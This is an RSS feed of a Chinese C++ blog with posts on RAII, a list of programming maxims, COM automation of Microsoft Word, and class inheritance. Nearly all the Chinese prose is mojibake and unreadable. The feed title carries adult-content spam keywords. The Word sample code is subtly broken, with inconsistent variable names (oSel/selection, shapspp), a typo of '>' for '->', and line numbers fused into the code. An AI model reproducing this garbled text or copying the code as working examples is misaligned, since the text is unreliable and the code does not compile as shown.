锘??xml version="1.0" encoding="utf-8" standalone="yes"?>久久久久成人精品无码中文字幕,四虎影视久久久免费,欧美精品丝袜久久久中文字幕http://www.shnenglu.com/codeart/codeArtzh-cnThu, 08 May 2025 19:47:45 GMTThu, 08 May 2025 19:47:45 GMT60RAII鏄粈涔堬紵鏉ユ簮浜庨噾搴嗙殑涓撴爮http://www.shnenglu.com/codeart/archive/2010/11/06/132675.htmlcodeArtcodeArtSat, 06 Nov 2010 09:30:00 GMThttp://www.shnenglu.com/codeart/archive/2010/11/06/132675.htmlhttp://www.shnenglu.com/codeart/comments/132675.htmlhttp://www.shnenglu.com/codeart/archive/2010/11/06/132675.html#Feedback0http://www.shnenglu.com/codeart/comments/commentRss/132675.htmlhttp://www.shnenglu.com/codeart/services/trackbacks/132675.html鎽樿嚜銆奅xtended STL銆嬩腑璇?/p>


RAII錛氳祫婧愯幏鍙栧嵆鍒濆鍖?/h1>

璧勬簮鑾峰彇鍗沖垵濮嬪寲錛圧AII, Resource Acquisition Is Initialization錛夋槸鎸囷紝褰撲綘鑾峰緱涓涓祫婧愮殑鏃跺欙紝涓嶇榪欎釜璧勬簮鏄璞°佸唴瀛樸佹枃浠跺彞鏌勬垨鑰呭叾瀹冧粈涔堬紝浣犻兘浼氬湪涓涓璞$殑鏋勯犲嚱鏁頒腑鑾峰緱瀹冿紝騫朵笖鍦ㄨ瀵硅薄鐨勬瀽鏋勫嚱鏁頒腑閲婃斁瀹冦傚疄鐜拌繖縐嶅姛鑳界殑綾伙紝鎴戜滑灝辮瀹冮噰鐢ㄤ簡"璧勬簮鑾峰彇鍗沖垵濮嬪寲錛圧AII錛?鐨勬柟寮忋傝繖鏍風殑綾誨父甯歌縐頒負灝佽綾匯?/p>

鍙互渚濇嵁璧勬簮鍙彉鎬у拰璧勬簮鏉ユ簮榪欎袱涓壒寰侊紝鏉ュRAII榪涜鍒嗙被銆?/p>


璧勬簮鍙彉鎬?/h2>

濡傛灉涓涓皝瑁呯被瀵瑰叾瀹炰緥鎻愪緵棰濆鐨勫姛鑳斤紝浣垮緱鍏跺疄渚嬭兘琚祴浜堟柊璧勬簮錛岃繖涓被琛ㄧ幇鍑虹殑榪欑鐗瑰緛鍗崇О涓?鍙彉鐨凴AII"錛屽惁鍒欏氨鏄?涓嶅彲鍙樼殑RAII"銆?/p>

涓嶅彲鍙樼殑RAII錛屾槸浣跨敤璧鋒潵鏈綆鍗曠殑涓縐嶃傝瀹冪畝鍗曪紝鏄洜涓哄湪榪欑鎯呭喌涓嬶紝鏃犻渶鍦ㄥ皝瑁呯被涓彁渚涚敤浜庢寚瀹氳祫婧愮殑鏂規(guī)硶--涓嶇鏄柊鍒嗛厤鐨勮祫婧愶紝榪樻槸瀵瑰叾浠栬祫婧愯繘琛屾嫹璐濄傝繖縐峈AII榪樻剰鍛崇潃錛岀被鐨勬瀽鏋勫嚱鏁版繪槸鍙互鍋囧畾錛岃灝佽鐨勮祫婧愭槸鏈夋晥鐨勩?/p>

涓庢鐩稿弽錛屾彁渚涘彲鍙樼殑RAII鐨勭被錛屽氨闇瑕佸疄鐜頒笅鍒楀姛鑳戒腑鐨勭粷澶ч儴鍒嗭紝鎴栬呭叏閮細緙虹渷鐨勬垨鑰呯┖鐨勬瀯閫犲嚱鏁幫紝鎷瘋礉鏋勯犲嚱鏁幫紝鎷瘋礉璧嬪兼搷浣滐紝鐢ㄤ簬鎸囧畾璧勬簮鐨勬柟娉曘傛渶閲嶈鐨勬槸錛岃繖鏍風殑綾誨湪鏋愭瀯鍑芥暟鍜屼換浣曠被浼糲lose()鐨勬柟娉曚腑錛岄噴鏀捐祫婧愬墠錛岄兘蹇呴』媯嫻嬭灝佽鐨勮祫婧愭槸涓嶆槸null銆?/p>


璧勬簮鏉ユ簮

瀵逛簬鎻愪緵RAII鐨勭被鏉ヨ錛岀浜屼釜閲嶈鐨勭壒寰佹槸錛屽畠浠氳繃浠涔堥斿緞鑾峰彇鑷繁鎵綆$悊鐨勮祫婧愩備互std::string涓轟唬琛ㄧ殑綾伙紝浣跨敤鐨勬槸鍐呴儴鍒濆鍖栫殑RAII錛氬畠綆$悊鐨勮祫婧?-鍗沖唴瀛樹腑鐢ㄤ簬淇濆瓨瀛楃鐨勭紦鍐插尯--鏄敱瀹冭嚜宸卞垱寤虹殑錛岃繖涓璧勬簮瀵瑰姘歌繙鏄笉鍙鐨勩備笌姝や笉鍚岀殑鏄紝浠td::auto_ptr涓轟唬琛ㄧ殑綾昏〃鐜板嚭澶栭儴鍒濆鍖栫殑RAII琛屼負錛氬畠鎵綆$悊鐨勮祫婧愶紝鏄嬌鐢ㄥ畠鐨勫鎴風▼搴忥紙閫氳繃鍙﹀鐨勬煇縐嶆柟寮忚幏寰椾箣鍚庯級浜ょ粰瀹冪殑銆?/p>

鍐呴儴鍒濆鍖栫殑RAII鐨勫皝瑁呯被錛屼竴鑸瘮杈冨鏄撳疄鐜幫紝浣嗘槸鍔熻兘涓婁篃姣旇緝鍙楅檺鍒訛紝鍥犱負瀹冧滑鑾峰彇璧勬簮鐨勬満鍒舵槸棰勫厛瀹氫箟濂界殑錛屽茍涓旀槸鍥哄畾涓嶅彉鐨勩備笉榪囷紝榪欐牱鐨勭被鐢ㄨ搗鏉ヤ篃瀹規(guī)槗涓浜涳紝鎴栬呰錛屾瘮杈冮毦琚鐢細鍥犱負瀹㈡埛浠g爜鍑犱箮娌℃湁鏈轟細鐘笅鑳藉鑷磋祫婧愭硠闇茬殑閿欒銆?/p>

codeArt 2010-11-06 17:30 鍙戣〃璇勮
]]>
緙栫▼娉曞垯(杞嚜oschina.net)鏈夋剰鎬?/title><link>http://www.shnenglu.com/codeart/archive/2010/09/30/128159.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Thu, 30 Sep 2010 15:42:00 GMT</pubDate><guid>http://www.shnenglu.com/codeart/archive/2010/09/30/128159.html</guid><wfw:comment>http://www.shnenglu.com/codeart/comments/128159.html</wfw:comment><comments>http://www.shnenglu.com/codeart/archive/2010/09/30/128159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/codeart/comments/commentRss/128159.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/codeart/services/trackbacks/128159.html</trackback:ping><description><![CDATA[<ol> <li> 浠諱綍紼嬪簭涓鏃﹂儴緗插嵆鏄鵑檲鏃с? </li> <li> 淇敼闇姹傝鑼冩潵閫傚簲紼嬪簭姣斿弽榪囨潵鍋氭洿瀹規(guī)槗銆? </li> <li> 涓涓▼搴忓鏋滃緢鏈夌敤錛岄偅瀹冩敞瀹氳琚敼鎺夈? </li> <li> 涓涓▼搴忓鏋滄病鐢紝閭e畠涓瀹氫細鏈夊緢濂界殑鏂囨。銆? </li> <li> 浠諱綍紼嬪簭閲岄兘浠呬粎鍙湁10%鐨勪唬鐮佷細琚墽琛屽埌銆? </li> <li> 杞歡浼氫竴鐩磋啫鑳鍒拌楀敖鎵鏈夎祫婧愪負姝€? </li> <li> 浠諱綍涓涓湁鐐逛環(huán)鍊肩殑紼嬪簭閲岄兘浼氭湁鑷沖皯涓涓猙ug銆? </li> <li> 鍘熷瀷瀹岀編鐨勭▼搴﹁窡瀹¤鐨勪漢鏁版垚鍙嶆瘮錛屽弽姣斿間細闅忕潃娑夊強鐨勮祫閲戞暟澧炲ぇ銆? </li> <li> 杞歡鐩村埌琚彉鎴愪駭鍝佽繍琛岃嚦灝?涓湀鍚庯紝瀹冩渶涓ラ噸鐨勯棶棰樻墠浼氳鍙戠幇銆? </li> <li> 鏃犳硶媯嫻嬪埌鐨勯敊璇殑褰㈠紡鏃犻檺澶氭牱錛岃岃兘琚嫻嬪埌鐨勬濂界浉鍙嶏紝琚畾涔変簡鐨勫崄鍒嗘湁闄愩? </li> <li> 淇涓涓敊璇墍闇瑕佹姇鍏ョ殑鍔姏浼氶殢鐫鏃墮棿鎴愭寚鏁扮駭澧炲姞銆? </li> <li> 杞歡鐨勫鏉傚害浼氫竴鐩村鍔狅紝鐩村埌瓚呭嚭緇存姢榪欎釜紼嬪簭鐨勪漢鐨勬壙鍙楄兘鍔涖? </li> <li> 浠諱綍鑷繁鐨勭▼搴忥紝鍑犱釜鏈堜笉鐪嬶紝褰㈠悓鍏朵粬浜哄啓鐨勩? </li> <li> 浠諱綍涓涓皬紼嬪簭閲岄潰閮芥湁涓涓法澶х殑紼嬪簭锠㈣牏嬈插嚭銆? </li> <li> 緙栫爜寮濮嬬殑瓚婃棭錛岃姳璐圭殑鏃墮棿瓚婇暱銆? </li> <li> 涓涓矖蹇冪殑欏圭洰璁″垝浼氳浣犲鑺?鍊嶇殑鏃墮棿鍘誨畬鎴愶紱涓涓粏蹇冪殑欏圭洰璁″垝鍙細璁╀綘澶氳姳2鍊嶇殑鏃墮棿銆? </li> <li> 寰澶у瀷欏圭洰閲屾坊鍔犱漢鎵嬩細浣塊」鐩洿寤惰繜銆? </li> <li> 涓涓▼搴忚嚦灝戜細瀹屾垚90%錛屼絾姘歌繙瀹屾垚涓嶄簡瓚呰繃95%銆? </li> <li> 濡傛灉浣犳兂楹葷儲琚嚜鍔ㄥ鐞嗘帀錛屼綘寰楀埌鐨勬槸鑷姩浜х敓鐨勯夯鐑︺? </li> <li> 寮鍙戜竴涓偦鐡滈兘浼氫嬌鐢ㄧ殑杞歡錛屽彧鏈夊偦鐡滄効鎰忎嬌鐢ㄥ畠銆? </li> <li> 鐢ㄦ埛涓嶄細鐪熸鐨勭煡閬撹鍦ㄨ蔣浠墮噷鍋氫簺浠涔堬紝闄ら潪浣跨敤榪囥? </li> </ol><img src ="http://www.shnenglu.com/codeart/aggbug/128159.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-09-30 23:42 <a href="http://www.shnenglu.com/codeart/archive/2010/09/30/128159.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>c++鎿嶄綔word鎺ュ彛http://www.shnenglu.com/codeart/archive/2010/08/31/125430.htmlcodeArtcodeArtTue, 31 Aug 2010 11:35:00 GMThttp://www.shnenglu.com/codeart/archive/2010/08/31/125430.htmlhttp://www.shnenglu.com/codeart/comments/125430.htmlhttp://www.shnenglu.com/codeart/archive/2010/08/31/125430.html#Feedback4http://www.shnenglu.com/codeart/comments/commentRss/125430.htmlhttp://www.shnenglu.com/codeart/services/trackbacks/125430.html銆?銆戝紑鍚痺ord
_ApplicationPtr word_app;
HRESULT hr 
= word_app.CreateInstance("Word.Application", NULL); 
銆?銆戞柊寤轟竴涓枃妗?br>
COleVariant vTrue((short)TRUE),vFalse((short)FALSE),vOpt((long)DISP_E_PARAMNOTFOUND, VT_ERROR);
DocumentsPtr docs;
_DocumentPtr oDoc;
docs 
= word_app->GetDocuments();
doc 
= docs->Add(vOpt, vOpt, vOpt, vOpt);  
銆?銆戣緗枃妗g殑欏甸潰甯冨眬
PageSetupPtr page_setup = doc->GetPageSetup();
page_setup
->PutTopMargin(0);
page_setup
->PutBottomMargin(0);
page_setup
->PutRightMargin(0);
page_setup
->PutLeftMargin(0);
銆?銆戞彃鍏ユ枃鏈?br>
SelectionPtr selection;
selection 
= word_app->GetSelection();
_ParagraphFormatPtr parafmt 
= selection->GetParagraphFormat();
parafmt
->PutLineSpacingRule(wdLineSpaceExactly);
parafmt
->PutLineSpacing(50);
_FontPtr font;
font 
= oSel->GetFont();
font
->PutBold(1);
font
->PutColor(wdColorGreen);
font
->PutSize(20);
font
->PutName(_T("瀹嬩綋"));
selection
->TypeText("ABC");
oSel
->TypeParagraph();
oSel
->TypeText("12345678901234567890");
oSel
->TypeParagraph();
銆?銆戞彃鍏ユ枃鏈
ShapesPtr shapes = doc->GetShapes();
ShapePtr textbox 
=  shapspp->AddTextbox(Office::msoTextOrientationHorizontal, 11100100);
銆?銆戞枃鏈涓彃鍏ユ枃鏈?br>
 1ShapesPtr shapes = doc->GetShapes();
 2ShapePtr textbox =  shapspp->AddTextbox(Office::msoTextOrientationHorizontal, 11100100);
 3TextFramePtr textframe = textbox->GetTextFrame();
 4RangePtr range = textframe->GetTextRange();
 5long insert_before_count = range->Characters->GetCount();
 6range->InsertAfter("TEXT");
 7if (insert_before_count != 1)
 8    range->MoveStart(COleVariant((long)Word::wdCharacter), COleVariant(insert_before_count-1));
 9if(range != 0)
10{
11    _FontPtr font = range->GetFont();
12    font->PutBold(isBold);
13    font->PutItalic(isItalic);
14    font->PutColor((Word::WdColor)FontColor());
15    font->PutSize(FontSize);
16    font->PutName(FontType().c_str());
17}
銆?銆戣緗枃鏈鐨勫睘鎬?br>
1textbox->GetTextFrame()->PutAutoSize(Office::msoAutoShape);
2textbox->GetTextFrame()->PutMarginBottom(0);
3textbox->GetTextFrame()->PutMarginTop(0);
4textbox->GetTextFrame()->PutMarginLeft(0);
5textbox->GetTextFrame()->PutMarginRight(0);
6textbox->GetLine()->PutVisible(Office::msoFalse);
7textbox->GetFill()->PutTransparency(1);
銆?銆戞彃鍏ュ浘鐗囷紝榪欓噷闇瑕佹敞鎰忥紝蹇呴』寰楀厛鐢↖nlineShape,榪欐牱鍙互鎶婂浘鐗囨彃鍏ュ埌鎸囧畾鐨勯〉涓紝涓嶇劧錛屾墍鏈夌殑鍥劇墖鍙湪絎竴欏點?br>
 1ShapesPtr shapes = m_WordDoc->GetShapes();
 2InlineShapesPtr inline_shapes = selection_doc->GetRange()->GetInlineShapes();
 3InlineShapePtr inline_shape = inline_shapes->AddPicture(“picture_path”, COleVariant((long)0), COleVariant((long)1));
 4ShapePtr shape = inline_shape->ConvertToShape();
 5shape->PutWidth(width);
 6shape->PutHeight(hehight());
 7shape->PutTop(Y);
 8shape->PutLeft(X);
 9if(shape->GetType() == Office::msoPicture)
10{
11    Word::WrapFormatPtr wrapp = shape->GetWrapFormat();
12    wrapp->PutType(Word::wdWrapBehind);
13}

14
銆?銆戞彃鍏ョ洿綰?br>
1ShapesPtr shapes = doc->GetShapes();
2Word::ShapePtr line = shapes->AddLine(x1,y1, x2,y2);
3if (line->GetType() == Office::msoLine)
4{
5    Word::LineFormatPtr LineFmt = line->GetLine();
6    LineFmt->PutWeight(lr->weight_);
7}
銆?0銆戞彃鍏ュ垎闅旂
selection->InsertBreak(COleVariant((long)wdColumnBreak));
selection
->InsertBreak(COleVariant((long)wdSectionBreakContinuous));
selection
->InsertBreak(COleVariant((long)wdPageBreak));

銆?1銆戣緗爮鐩釜鏁板拰鏍忕洰鐨勫搴?br>榪欓噷涓瀹氳娉ㄦ剰add鍑芥暟鐨勯昏緫
1SectionsPtr word_sections = doc->GetSections();
2long num = word_sections->GetCount();
3SectionPtr word_section = word_sections->Item(num-1);
4PageSetupPtr page_setup = word_section->GetPageSetup();
5TextColumnsPtr text_cols = page_setup>GetTextColumns();
6text_cols->PutEvenlySpaced(0);
7text_cols->Add(COleVariant(col_width), COleVariant((long)0), COleVariant((long)false));
銆?2銆戞彃鍏ヨ〃鏍?br>
 1TablesPtr tables = oSel->GetTables();    
 2TablePtr table = tables->Add(oSel->GetRange(), 25);
 3    
 4BordersPtr bords = table->GetBorders();
 5bords->PutOutsideLineStyle(wdLineStyleSingle);
 6bords->PutInsideLineStyle(wdLineStyleSingle);
 7for (int i = 1; i<=2; i++)
 8{
 9    for (int j = 1; j<=5; j++)
10    {
11        table->Cell(i,j)->GetRange()->PutText("20");
12    }

13}

14
15CellPtr cell = table->Cell(1,1);
16cell->Merge(table->Cell(1,2));
銆?3銆戜繚瀛樻枃妗e茍閫鍑?br>
1COleVariant vTrue((short)TRUE),vFalse((short)FALSE),vOpt((long)DISP_E_PARAMNOTFOUND, VT_ERROR);
2_DocumentPtr active_doc; 
3active_doc = word_app->GetActiveDocument();
4active_doc->SaveAs(COleVariant("D:\\doc1.doc"), 
5                   COleVariant((short)0),
6                   vFalse, COleVariant(""), vTrue, COleVariant(""),
7                   vFalse, vFalse, vFalse, vFalse, vFalse);
8word_app->Quit(vOpt, vOpt, vOpt);
鍦╳ord浼樼鐨勬瀯鏋朵腑榪樻湁璁歌澶氬鐨勬帴鍙o紝涓婇潰鍙槸涓句緥瀹炵幇涓涓櫘閫氱殑鏂囨。錛屽笇鏈涘澶у鏈夌敤銆?

codeArt 2010-08-31 19:35 鍙戣〃璇勮
]]>
C++鐨勭戶鎵?/title><link>http://www.shnenglu.com/codeart/archive/2010/08/31/125326.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Mon, 30 Aug 2010 17:32:00 GMT</pubDate><guid>http://www.shnenglu.com/codeart/archive/2010/08/31/125326.html</guid><wfw:comment>http://www.shnenglu.com/codeart/comments/125326.html</wfw:comment><comments>http://www.shnenglu.com/codeart/archive/2010/08/31/125326.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/codeart/comments/commentRss/125326.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/codeart/services/trackbacks/125326.html</trackback:ping><description><![CDATA[<p> </p> <div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><span style="COLOR: #008080"> 1</span><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080"> 2</span><span style="COLOR: #000000"><img id=Codehighlighter1_11_246_Open_Image onclick="this.style.display='none'; Codehighlighter1_11_246_Open_Text.style.display='none'; Codehighlighter1_11_246_Closed_Image.style.display='inline'; Codehighlighter1_11_246_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_11_246_Closed_Image onclick="this.style.display='none'; Codehighlighter1_11_246_Closed_Text.style.display='none'; Codehighlighter1_11_246_Open_Image.style.display='inline'; Codehighlighter1_11_246_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_11_246_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_11_246_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080"> 3</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080"> 4</span><span style="COLOR: #000000"><img id=Codehighlighter1_31_32_Open_Image onclick="this.style.display='none'; Codehighlighter1_31_32_Open_Text.style.display='none'; Codehighlighter1_31_32_Closed_Image.style.display='inline'; Codehighlighter1_31_32_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_31_32_Closed_Image onclick="this.style.display='none'; Codehighlighter1_31_32_Closed_Text.style.display='none'; Codehighlighter1_31_32_Open_Image.style.display='inline'; Codehighlighter1_31_32_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_31_32_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_31_32_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 5</span><span style="COLOR: #000000"><img id=Codehighlighter1_46_47_Open_Image onclick="this.style.display='none'; Codehighlighter1_46_47_Open_Text.style.display='none'; Codehighlighter1_46_47_Closed_Image.style.display='inline'; Codehighlighter1_46_47_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_46_47_Closed_Image onclick="this.style.display='none'; Codehighlighter1_46_47_Closed_Text.style.display='none'; Codehighlighter1_46_47_Open_Image.style.display='inline'; Codehighlighter1_46_47_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #000000">~</span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_46_47_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_46_47_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 6</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080"> 7</span><span style="COLOR: #000000"><img id=Codehighlighter1_75_104_Open_Image onclick="this.style.display='none'; Codehighlighter1_75_104_Open_Text.style.display='none'; Codehighlighter1_75_104_Closed_Image.style.display='inline'; Codehighlighter1_75_104_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_75_104_Closed_Image onclick="this.style.display='none'; Codehighlighter1_75_104_Closed_Text.style.display='none'; Codehighlighter1_75_104_Open_Image.style.display='inline'; Codehighlighter1_75_104_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func1()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_75_104_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_75_104_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::func1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 8</span><span style="COLOR: #000000"><img id=Codehighlighter1_131_160_Open_Image onclick="this.style.display='none'; Codehighlighter1_131_160_Open_Text.style.display='none'; Codehighlighter1_131_160_Closed_Image.style.display='inline'; Codehighlighter1_131_160_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_131_160_Closed_Image onclick="this.style.display='none'; Codehighlighter1_131_160_Closed_Text.style.display='none'; Codehighlighter1_131_160_Open_Image.style.display='inline'; Codehighlighter1_131_160_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_131_160_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_131_160_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::func2\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 9</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> ma;<br></span><span style="COLOR: #008080">10</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> mb;<br></span><span style="COLOR: #008080">11</span><span style="COLOR: #000000"><img id=Codehighlighter1_209_244_Open_Image onclick="this.style.display='none'; Codehighlighter1_209_244_Open_Text.style.display='none'; Codehighlighter1_209_244_Closed_Image.style.display='inline'; Codehighlighter1_209_244_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_209_244_Closed_Image onclick="this.style.display='none'; Codehighlighter1_209_244_Closed_Text.style.display='none'; Codehighlighter1_209_244_Open_Image.style.display='inline'; Codehighlighter1_209_244_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> member_func()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_209_244_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_209_244_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::member_func\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">12</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">13</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/None.gif"><br></span><span style="COLOR: #008080">14</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000"> derive : </span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">15</span><span style="COLOR: #000000"><img id=Codehighlighter1_277_586_Open_Image onclick="this.style.display='none'; Codehighlighter1_277_586_Open_Text.style.display='none'; Codehighlighter1_277_586_Closed_Image.style.display='inline'; Codehighlighter1_277_586_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_277_586_Closed_Image onclick="this.style.display='none'; Codehighlighter1_277_586_Closed_Text.style.display='none'; Codehighlighter1_277_586_Open_Image.style.display='inline'; Codehighlighter1_277_586_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_277_586_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_277_586_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">16</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080">17</span><span style="COLOR: #000000"><img id=Codehighlighter1_299_300_Open_Image onclick="this.style.display='none'; Codehighlighter1_299_300_Open_Text.style.display='none'; Codehighlighter1_299_300_Closed_Image.style.display='inline'; Codehighlighter1_299_300_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_299_300_Closed_Image onclick="this.style.display='none'; Codehighlighter1_299_300_Closed_Text.style.display='none'; Codehighlighter1_299_300_Open_Image.style.display='inline'; Codehighlighter1_299_300_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    derive()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_299_300_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_299_300_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">18</span><span style="COLOR: #000000"><img id=Codehighlighter1_316_317_Open_Image onclick="this.style.display='none'; Codehighlighter1_316_317_Open_Text.style.display='none'; 